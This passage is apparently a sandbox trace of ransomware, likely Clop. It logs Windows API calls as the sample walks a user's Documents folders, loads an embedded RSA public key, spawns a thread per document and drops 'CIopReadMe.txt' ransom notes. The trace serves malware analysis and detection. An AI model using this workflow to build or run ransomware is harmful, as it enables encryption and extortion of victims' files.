/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.763] lstrcpyW (in: lpString1=0x2dc93de, lpString2="SATDQcfMYoPlh.docx" | out: lpString1="SATDQcfMYoPlh.docx") returned="SATDQcfMYoPlh.docx" [0089.763] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0089.763] SetErrorMode (uMode=0x1) returned 0x1 [0089.763] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.763] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0089.763] CloseHandle (hObject=0x3cc) returned 1 [0089.763] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.763] lstrcmpW (lpString1="u6hnCYVE2vuu.docx", lpString2="..") returned 1 [0089.763] lstrcmpW (lpString1="u6hnCYVE2vuu.docx", lpString2=".") returned 1 [0089.763] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.763] Sleep (dwMilliseconds=0xd) [0089.778] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.778] lstrcpyW (in: lpString1=0x2dc93de, lpString2="u6hnCYVE2vuu.docx" | out: lpString1="u6hnCYVE2vuu.docx") returned="u6hnCYVE2vuu.docx" [0089.778] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0089.778] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0xffffffff) returned 0x0 [0089.827] SetErrorMode (uMode=0x1) returned 0x1 [0089.827] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.827] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0089.827] CloseHandle (hObject=0x3d8) returned 1 [0089.827] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.827] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.827] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx", lpString2="..") returned 1 [0089.827] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx", lpString2=".") returned 1 [0089.827] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.827] Sleep (dwMilliseconds=0xd) [0089.841] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.841] lstrcpyW (in: lpString1=0x2dc93de, lpString2="ziNabL4eBQn3JC_djnr.pptx" | out: lpString1="ziNabL4eBQn3JC_djnr.pptx") returned="ziNabL4eBQn3JC_djnr.pptx" [0089.841] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0089.841] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0xffffffff) returned 0x0 [0089.894] SetErrorMode (uMode=0x1) returned 0x1 [0089.894] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.894] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0089.894] CloseHandle (hObject=0x3d4) returned 1 [0089.894] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.894] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx", lpString2="..") returned 1 [0089.894] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx", lpString2=".") returned 1 [0089.894] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.894] Sleep (dwMilliseconds=0xd) [0089.919] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.919] lstrcpyW (in: lpString1=0x2dc93de, lpString2="ZmbKh2wUNBqMsH-.docx" | out: lpString1="ZmbKh2wUNBqMsH-.docx") returned="ZmbKh2wUNBqMsH-.docx" [0089.919] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0089.919] SetErrorMode (uMode=0x1) returned 0x1 [0089.919] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.919] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0089.919] CloseHandle (hObject=0x3e8) returned 1 [0089.919] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0089.919] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0089.919] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0089.920] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0089.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0089.920] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0089.920] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0089.920] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0089.920] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0089.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.920] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0089.920] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0089.920] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0089.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0089.920] SetErrorMode (uMode=0x1) returned 0x1 [0089.920] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0089.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0089.920] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0089.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0089.921] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0089.921] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0089.921] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0089.921] lstrcmpW (lpString1="", lpString2="..") returned -1 [0089.921] lstrcmpW (lpString1="", lpString2=".") returned -1 [0089.921] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned 45 [0089.921] Sleep (dwMilliseconds=0xd) [0089.934] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.934] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="" | out: lpString1="") returned="" [0089.934] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0089.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0089.935] SetErrorMode (uMode=0x1) returned 0x1 [0089.935] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\CIopReadMe.txt") returned 55 [0089.935] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my music\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0089.935] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0089.935] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0089.935] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0089.935] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0089.935] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0089.935] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my music\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0 [0089.936] WriteFile (in: hFile=0x3f0, lpBuffer=0x620ae8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x620ae8*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0089.936] CloseHandle (hObject=0x3f0) returned 1 [0089.937] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0089.937] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.937] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.937] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0089.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0089.937] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0089.937] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0089.937] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0089.937] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0089.937] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.937] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0089.937] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.937] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0089.937] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0089.937] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0089.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0089.937] SetErrorMode (uMode=0x1) returned 0x1 [0089.937] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0089.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0089.937] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0089.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0089.937] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0089.937] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0089.937] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0089.937] lstrcmpW (lpString1="", lpString2="..") returned -1 [0089.937] lstrcmpW (lpString1="", lpString2=".") returned -1 [0089.937] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned 48 [0089.937] Sleep (dwMilliseconds=0xd) [0089.989] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.990] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="" | out: lpString1="") returned="" [0089.990] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: 